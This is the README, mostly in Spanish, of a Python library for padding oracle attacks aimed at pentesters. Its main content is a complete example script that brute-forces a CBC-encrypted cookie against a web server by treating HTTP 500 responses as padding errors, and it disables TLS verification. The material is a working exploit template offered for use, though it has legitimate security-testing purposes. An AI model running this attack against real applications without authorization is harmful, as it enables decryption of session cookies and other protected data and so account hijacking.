
A portable, padding oracle exploit API
ACTUALIZADO PARA PYTHON 3
python-paddingoracle es una API que proporciona a los pentesters una
alternativa personalizable a PadBuster_ y a otras herramientas de explotación
de padding oracle que no pueden utilizarse fácilmente (sin una reescritura
considerable) en escenarios únicos y específicos de cada aplicación. Piense en
aplicaciones no HTTP, sockets en bruto, aplicaciones cliente, codificaciones
singulares, etc.
Para utilizar la API de paddingoracle, basta con implementar el método oracle() de la API de PaddingOracle y lanzar una BadPaddingException cuando el descifrador revele un padding oracle. Para descifrar datos, pase los bytes cifrados en bruto a decrypt() con un tamaño de bloque (normalmente 8 o 16) y un parámetro iv opcional.
Véase a continuación un ejemplo (de el ejemplo_): ::
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = quote(b64encode(data))
self.session.cookies['somecookie'] = somecookie
while 1:
try:
response = self.session.get('http://www.example.com/',
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
if response.ok:
logging.debug('No padding exception raised on %r', somecookie)
return
# An HTTP 500 error was returned, likely due to incorrect padding
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[1:]:
print('Usage: %s <somecookie value>' % (sys.argv[0], ))
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[1]))
padbuster = PadBuster()
cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))
python-paddingoracle es una implementación en Python basada en gran medida en
PadBuster_, un script automatizado para realizar ataques de padding oracle,
desarrollado por Brian Holyfield de Gotham Digital Science.
.. _el ejemplo: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py
.. _PadBuster: https://github.com/GDSSecurity/PadBuster